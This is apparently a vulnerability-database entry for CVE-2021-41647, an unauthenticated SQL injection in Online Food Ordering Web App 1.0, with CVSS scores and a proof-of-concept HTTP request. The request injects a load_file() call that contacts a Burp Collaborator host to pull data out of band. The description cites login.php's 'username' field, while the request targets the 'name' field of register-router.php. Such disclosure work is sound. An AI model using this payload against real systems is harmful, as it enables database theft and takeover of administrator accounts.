Attacker Value
Very High
CVE-2021-41647
CVE-2021-41647
(Last updated November 28, 2024) ▾
MITRE ATT&CK
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Validation
Description
An un-authenticated error-based and time-based blind SQL injection vulnerability exists in Kaushik Jadhav Online Food Ordering Web App 1.0. An attacker can exploit the vulnerable “username” parameter in login.php and retrieve sensitive database information, as well as add an administrative user.
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Technical Analysis
CVE-2021-41647
Description:
An un-authenticated error-based and time-based blind SQL injection vulnerability exists in Kaushik Jadhav Online Food Ordering Web App 1.0. An attacker can exploit the vulnerable “username” parameter in login.php and retrieve sensitive database information, as well as add an administrative user.
SQL Request:
POST /Online-Food-Ordering-Web-App-master/account/routers/register-router.php HTTP/1.1 Host: 192.168.1.180 Origin: http://192.168.1.180 Cookie: PHPSESSID=l9r6fsvj0k8ebeb4kn6qb4acee Upgrade-Insecure-Requests: 1 Referer: http://192.168.1.180/Online-Food-Ordering-Web-App-master/account/register.php Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Length: 68 username=eRmmfIOD&name=THWdzbPo'%2b(select%20load_file('%5c%5c%5c%5c6z6ghxyoj1qsw3gtl0e0hf0sljrcf3ar1upmcd02.burpcollaborator.net%5c%5cjuf'))%2b'&password=b5R%21c5j%21G5&phone=476835
SQL Response:
HTTP/1.1 200 OK Date: Wed, 06 Oct 2021 07:10:35 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22 X-Powered-By: PHP/7.4.22 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 3775 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0, ...[SNIP]...
Reproduce:
Proof:
CVSS V3 Severity and Metrics
Data provided by the National Vulnerability Database (NVD)
Base Score:
9.1 Critical
Impact Score:
5.2
Exploitability Score:
3.9
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
None
General Information
Vendors
- online food ordering web app project
Products
- online food ordering web app 1.0
References
